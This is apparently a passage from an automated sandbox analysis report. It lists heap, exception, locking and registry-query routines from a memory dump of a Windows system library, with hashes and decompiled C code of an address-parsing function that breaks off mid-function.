RtlDebugPrintTimes.1105(?,?,?,?,?,6B532783,00000001,?,00000000,?,?,?,?,6B4CFC15), ref: 6B51EBB6
RtlGetCurrentServiceSessionId.1105(?,?,?,6B532783,00000001), ref: 6B51F23E

Strings

@, xrefs: 6B51F10A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDebugPrintServiceSessionTimes
String ID: @
API String ID: 358024996-2766056989
Opcode ID: 40149128281ec98fa4d705c61492d4bd661244259727ab65fc4ad76dd6f8b80c
Instruction ID: 9a48f0f402ecb8625e66daab88b642e9a5be1489f5eb9d0ecd741d2b0e85bc4d
Opcode Fuzzy Hash: 40149128281ec98fa4d705c61492d4bd661244259727ab65fc4ad76dd6f8b80c
Instruction Fuzzy Hash: 5732C07462C6518BF715CF29C4807F2B7E1BF45704F0489DAE8A68BA85D33DE856CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B0E21, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000618,?,?), ref: 6B4B0EDA
RtlRaiseException.1105 ref: 6B4ECC58

Strings

Flst, xrefs: 6B4B0E63

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionHeapRaise
String ID: Flst
API String ID: 3789339297-2374792617
Opcode ID: a8d56840250850f71aac8c98ec8e67978996dd570276c9fbc29a768b8f8a81d2
Instruction ID: 9d0e22aa9d42be49da285eb2868904918bd8da540ee30930e4bdb24174d5d351
Opcode Fuzzy Hash: a8d56840250850f71aac8c98ec8e67978996dd570276c9fbc29a768b8f8a81d2
Instruction Fuzzy Hash: DD4188B1605301DFC304CF18C680B16BBE4EB49B15F1489AEE659CB381D779D882CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 6B472240, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99memorytimeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000034,?,?,?,?,?,?,?,?,?,6B54F350,0000004C), ref: 6B4722AC
TpAllocTimer.1105(00000020,6B549440,00000000,00000003,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 6B47235A

Strings

(, xrefs: 6B472328

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocAllocateHeapTimer
String ID: (
API String ID: 2926205940-3887548279
Opcode ID: 5f448ab4496095efffd11d9752f6fbc509724fa0be4c7540c24f562d601d5167
Instruction ID: e6c3fd9c784418004f35898a181bcd4702dd5a27d4acb27efd9bad1a9f9e27bc
Opcode Fuzzy Hash: 5f448ab4496095efffd11d9752f6fbc509724fa0be4c7540c24f562d601d5167
Instruction Fuzzy Hash: 944104B0E11659DFCB10DFA8D480ACDBBB4BB09B14F10426EE454A7741C7B89956CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6B4766D4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B4766F5
ZwQueryValueKey.1105(?,?,00000002,?,00000014,?,?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B47670B

Strings

UBR, xrefs: 6B4766EE

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitQueryStringUnicodeValue
String ID: UBR
API String ID: 3766860702-3525060630
Opcode ID: 6b39ba67946202087b6fe5820dbee164cb9de16b7d4fb674127df3d714c3bc55
Instruction ID: bd400d135b748850c310eb03e9d85ad6e93dbe1ba9b48e55837caacaa6ac774b
Opcode Fuzzy Hash: 6b39ba67946202087b6fe5820dbee164cb9de16b7d4fb674127df3d714c3bc55
Instruction Fuzzy Hash: D8012171A0411DAFDB10DB99C841EEFB3BCEB45714F50006AE901D7240D739AE45C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6B528DF1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,Critical error detected %lx,?,6B550D50,00000074,6B5320A2,?,?,6B52FFAF,00000001,00000020,6B5658C0,00000000), ref: 6B528E2A
RtlRaiseException.1105(?), ref: 6B528E74

Strings

Critical error detected %lx, xrefs: 6B528E21

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionPrintRaise
String ID: Critical error detected %lx
API String ID: 1813208005-802127002
Opcode ID: 9ef6488226683c7816699647e4d3a69ea702bf4c6f7f99757e7947b247570fe8
Instruction ID: 53e9f28478c8b9fbaa0cb922fb6a5a493c234b278f6481c7c1dfaa3b9356a33b
Opcode Fuzzy Hash: 9ef6488226683c7816699647e4d3a69ea702bf4c6f7f99757e7947b247570fe8
Instruction Fuzzy Hash: F31139B5C95348EAEB14CFB88506BDDBBB0BF08718F20425ED568AB292C7380601CF16

Uniqueness

Uniqueness Score: -1.00%

Function 6B53E2C5, Relevance: 4.7, APIs: 3, Instructions: 202COMMON

Download Yara Rule

APIs

_aullshr.1105(-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000,00000000,?,?,6B532783,00000001), ref: 6B53E325
RtlAcquireSRWLockShared.1105(0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6B53E45E
RtlReleaseSRWLockShared.1105(0000000C,0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6B53E48D

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease_aullshr
String ID:
API String ID: 815091738-0
Opcode ID: 25bbbb20150d86079a341735f53cd48909a7dad54b1dc31b9b163ab9eca02557
Instruction ID: 83d6168a70c5ad56607b59c66c6e32449785c66aee81ff2dac96adc4eccad9b9
Opcode Fuzzy Hash: 25bbbb20150d86079a341735f53cd48909a7dad54b1dc31b9b163ab9eca02557
Instruction Fuzzy Hash: 6761A671E106299B9B14DFA8C4805EDB7F2FB89324714476AD425E73C0E738AD52CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AE730, Relevance: 4.6, APIs: 3, Instructions: 89memorynativeCOMMON

Download Yara Rule

APIs

ZwQueryInformationProcess.1105(000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6B50FF7D,6B5509B0,00000014,6B48EBD8,?,?,?,00000000), ref: 6B4AE742
RtlRaiseStatus.1105(00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6B50FF7D,6B5509B0,00000014,6B48EBD8,?,?,?,00000000), ref: 6B4AE765
RtlAllocateHeap.1105(?,?,?,?,FFFFFFFE,?,?,00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6B50FF7D), ref: 6B4AE7A3

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapInformationProcessQueryRaiseStatus
String ID:
API String ID: 1560743067-0
Opcode ID: 4c9a537bb23949d6b5399fb30594c1d8207bb0b421aef51123ca2959789c7eb5
Instruction ID: 904cb72581f55c8d08abd1aa12f37a56522bd5ea552c37a4eb88ec1a6d325d17
Opcode Fuzzy Hash: 4c9a537bb23949d6b5399fb30594c1d8207bb0b421aef51123ca2959789c7eb5
Instruction Fuzzy Hash: 06318E75A54249AFD704CF68C881F96BBE4FB19314F14825AF914CB341E739E880CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B541D55, Relevance: 3.2, APIs: 2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f684f547435057d35215ae40ecf72fe102bae06e0ac2cf2c3410609a8a3a039
Instruction ID: a0d9429aa721ff7b962c30d5691c0428799bcc064e6b6db02ab218bc6c77725a
Opcode Fuzzy Hash: 3f684f547435057d35215ae40ecf72fe102bae06e0ac2cf2c3410609a8a3a039
Instruction Fuzzy Hash: F281A075E102699FEB08CFA8C580AECBBB1BF4A314F14426DE015AB3D4DB359D66CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6B496E30, Relevance: 1.7, APIs: 1, Instructions: 481COMMON

Download Yara Rule

APIs

memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6B496F17

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: a13dff70f3d25cb85927bcac9f2fcb903b2d1f32033c4ccef617d822275a5ce6
Instruction ID: fbc3d3e909a319be765ee133458b6d750997b0a6e837c1327da49d4404372ba1
Opcode Fuzzy Hash: a13dff70f3d25cb85927bcac9f2fcb903b2d1f32033c4ccef617d822275a5ce6
Instruction Fuzzy Hash: AB028E70D18215CBDB24EF98E490EADBBB1FF45B00F21416EE815AB351E7789892CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A35D0, Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105 ref: 6B4E60B6

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus
String ID:
API String ID: 1596131371-0
Opcode ID: 2e2859f8bfd8b7af5a6ef89388aef768ba37ddfda376e8d92cf1ca0e2cffc65b
Instruction ID: 4ea221cd305c2827a2f2ff62b09118a00ea89a95d6595032f1c3435d09a947e3
Opcode Fuzzy Hash: 2e2859f8bfd8b7af5a6ef89388aef768ba37ddfda376e8d92cf1ca0e2cffc65b
Instruction Fuzzy Hash: 8D61E8306546619FE724CE2DC941F76B3E1AB85B15F008599EA928B3C9E77CE843CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6B5367E2, Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73239a5c8fdbb1a8c09f646bb7502fff378b1c0c03171c0214676ebe4d8f910a
Instruction ID: cf44515b6485b30e46b312a99758f79c0a395039b90da997b442e9ae5d1675d5
Opcode Fuzzy Hash: 73239a5c8fdbb1a8c09f646bb7502fff378b1c0c03171c0214676ebe4d8f910a
Instruction Fuzzy Hash: 6102CD356087618AE754CF29C4902B5BBF1AF4A700B1489DEE8E5CB381F33DE956DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B48B090, Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction ID: f020f29e3b35d49e07cb4b0c4c1657f6d5bc5c864ab040b8c96b9d2c56dc1b8f
Opcode Fuzzy Hash: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction Fuzzy Hash: 9FD1C331B487168FDB12CE6DC490F5AB7B1AF86754B2881A8DCA8CF351E77ED8428750

Uniqueness

Uniqueness Score: -1.00%

Function 6B470D20, Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49b6d87e0b10b5a1aa89ec8b83991667b5ba63ce071fde0da9fc3dfc26c55a14
Instruction ID: eb50a3a72f47e758b7bc192b323a399000694c81a3bfd44c7f69fbf4508782c5
Opcode Fuzzy Hash: 49b6d87e0b10b5a1aa89ec8b83991667b5ba63ce071fde0da9fc3dfc26c55a14
Instruction Fuzzy Hash: 41D1F030E452589BDB28EF98C0A1FEEBBB1FB45704F108079D415AB785D37E9982CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A8840, Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction ID: 630514a9e73eec66212bd17c77ea2ac993dade28e32e7f4570c52bd2e3d32db5
Opcode Fuzzy Hash: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction Fuzzy Hash: C8B13A22F146548BEB0C8A18C8A1B7E7373EFE6351F1983A9D9524F7DDD63C89028352

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AEBB0, Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction ID: 11bd4b12fed295e6a5b5cda685f7ec0bd4495cb5ac06243428b4f5527a4b71ae
Opcode Fuzzy Hash: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction Fuzzy Hash: 64818C31AD83568BEB114E6CC4D0EA9BB21EF63700F3841BAD8959B749C22DD847D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6B49AB40, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f722783da85eb695146ff01d440b4308e6e4fd11c3ee5fd75a51f2466591c3a8
Instruction ID: c57cd8f192d5a03b33f786d8c10bf5bc1926c7f2f098e1be2cdc61f9804d660e
Opcode Fuzzy Hash: f722783da85eb695146ff01d440b4308e6e4fd11c3ee5fd75a51f2466591c3a8
Instruction Fuzzy Hash: BC810432E002299BDB14DE69D890F6EBBF2EF81715F154299D9909F381D638ED01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B52FA2B, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c4d41779d363435d8dabad46c01ed7cbe1c5c2f1bd93046b366b0de1c47cdc
Instruction ID: 4206cb0baffdf314d3d1ab6811187a5634740d3600113d6e1b8cb6d85e749a50
Opcode Fuzzy Hash: d7c4d41779d363435d8dabad46c01ed7cbe1c5c2f1bd93046b366b0de1c47cdc
Instruction Fuzzy Hash: 4B817B709093499FEB08CF69D590AEAFBF1FB09704F10859AE951AB381D3389881CF64

Uniqueness

Uniqueness Score: -1.00%

Function 6B531002, Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a45fe09ce9064db47c14302a10304f05a87cc245e5a6fb82c7ae0eac79a2a51f
Instruction ID: fe6958367903d0010afd81a6c0292b2b51595ee675c8fa738a0b69487bbc9a49
Opcode Fuzzy Hash: a45fe09ce9064db47c14302a10304f05a87cc245e5a6fb82c7ae0eac79a2a51f
Instruction Fuzzy Hash: D0719834A00676CBEB15CF6AC4912FAB3F1FB45700B2048AEE9928B740F779E950CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6B5432A9, Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1daf13d04e22fc38d446f859ceec5a9f87bca83b0b5cceaa86e6df7d38fb5df9
Instruction ID: e24d9ec739400542cdab9745e8f5a654a996053d39ff22b5c26c3b2297fe59e9
Opcode Fuzzy Hash: 1daf13d04e22fc38d446f859ceec5a9f87bca83b0b5cceaa86e6df7d38fb5df9
Instruction Fuzzy Hash: EB21B232A182058FF728CE29C8806E6B7B6FF95710F5189B8D911C71A5EB78E855C790

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AABD8, Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction ID: 4fcc99ce325a990de02ede7b697d083f01c39ed55f841b98774f9f0a6ab5103d
Opcode Fuzzy Hash: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction Fuzzy Hash: A021E7302006069BEB148F29C490AE2F7E6EFAA304F50815AD4D587795D739B806CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A6B90, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction ID: 71e50b5b8cce5624354249c4a83a283094d07019f9af92c7df691db852c0b21f
Opcode Fuzzy Hash: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction Fuzzy Hash: 64F04475A04218DFDB18CE88C690FACB7B5EB64310F2440A8E9169B784D63DAE00DB40

Uniqueness

Uniqueness Score: -1.00%

Function 6B476CA0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6B476CA0(intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr* _t51;
				void* _t52;
				signed int _t54;
				signed short _t58;
				signed short _t59;
				void* _t60;
				signed short _t61;
				signed short _t62;
				signed short _t63;
				signed short _t69;
				signed short _t73;
				signed short _t74;
				signed short _t75;
				signed int _t82;
				intOrPtr _t83;
				signed short _t84;
				signed short _t86;
				signed short _t87;
				signed int _t88;
				void* _t92;
				signed int _t97;
				short _t98;
				signed short _t99;
				signed short _t101;
				signed short _t102;
				char _t103;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				signed int _t118;
				intOrPtr* _t122;
				void* _t123;
				void* _t125;
				signed int _t127;
				signed int _t129;
				signed int _t130;
				signed short _t134;
				signed int _t136;
				intOrPtr* _t139;
				void* _t146;

				_t51 = _a4;
				if(_t51 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t52 = 0xc000000d;
				} else {
					_t103 =  *_t51;
					_t97 = 0;
					_v12 = 0;
					_v20 = 0;
					_v5 = _t103;
					_t146 = _t103 - 0x5b;
					if(_t146 == 0) {
						_t51 = _t51 + 1;
						__eflags = _t103 - 0x5b;
					}
					_v6 = _t146 == 0;
					if(E6B476D10(_t51,  &_v16, _a8) >= 0) {
						_t139 = _v16;
						_t54 = 0xa;
						__eflags =  *_t139 - 0x25;
						if( *_t139 != 0x25) {
							L22:
							__eflags =  *_t139 - 0x5d;
							if( *_t139 != 0x5d) {
								L51:
								_t98 = _v12;
								goto L52;
							} else {
								__eflags = _v5 - 0x5b;
								if(_v5 != 0x5b) {
									goto L6;
								} else {
									_t139 = _t139 + 1;
									_v6 = _t97;
									__eflags =  *_t139 - 0x3a;
									if( *_t139 != 0x3a) {
										goto L51;
									} else {
										_t139 = _t139 + 1;
										_v16 = _t54;
										_t129 = 0x10;
										__eflags =  *_t139 - 0x30;
										if( *_t139 == 0x30) {
											_t28 = _t139 + 1; // 0x4
											_t122 = _t28;
											_v16 = 8;
											_t139 = _t122;
											_t83 =  *_t139;
											__eflags = _t83 - 0x78;
											if(_t83 == 0x78) {
												L28:
												_v16 = _t129;
												_t31 = _t122 + 1; // 0x4
												_t139 = _t31;
											} else {
												__eflags = _t83 - 0x58;
												if(_t83 == 0x58) {
													goto L28;
												}
											}
										}
										_t58 =  *_t139;
										_v5 = _t58;
										__eflags = _t58;
										if(_t58 == 0) {
											goto L51;
										} else {
											_t99 = _v12;
											do {
												_t134 = _t58;
												_t59 = E6B4BCB30(_t58, _t134);
												_pop(_t107);
												__eflags = _t59;
												if(_t59 == 0) {
													L36:
													_t60 = 0x10;
													__eflags = _v16 - _t60;
													if(_v16 != _t60) {
														goto L6;
													} else {
														_t61 = E6B4BCB30(_t60, _t134);
														_pop(_t108);
														__eflags = _t61;
														if(_t61 == 0) {
															goto L6;
														} else {
															_t62 = E6B4BCDD0(_t108, _t134);
															__eflags = _t62;
															if(_t62 == 0) {
																goto L6;
															} else {
																_t63 = E6B4BCB30(_t62, _t134);
																_pop(_t110);
																__eflags = _t63;
																if(_t63 == 0) {
																	L42:
																	_push(0x41);
																} else {
																	_t74 = E6B4BCCE0(_t110, _t134);
																	__eflags = _t74;
																	if(_t74 == 0) {
																		goto L42;
																	} else {
																		_push(0x61);
																	}
																}
																_pop(_t111);
																_t68 = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134;
																__eflags = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 - 0xffff;
																if(((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 > 0xffff) {
																	goto L6;
																} else {
																	_v12 = _v12 << 4;
																	_t69 = E6B4BCB30(_t68, _t134);
																	_pop(_t112);
																	__eflags = _t69;
																	if(_t69 == 0) {
																		L47:
																		_push(0x41);
																	} else {
																		_t73 = E6B4BCCE0(_t112, _t134);
																		__eflags = _t73;
																		if(_t73 == 0) {
																			goto L47;
																		} else {
																			_push(0x61);
																		}
																	}
																	_pop(_t113);
																	asm("cbw");
																	_t114 = 0xa;
																	_t99 = _v12 + _v5 - _t113 + _t114;
																	__eflags = _t99;
																	_v12 = _t99;
																	goto L49;
																}
															}
														}
													}
												} else {
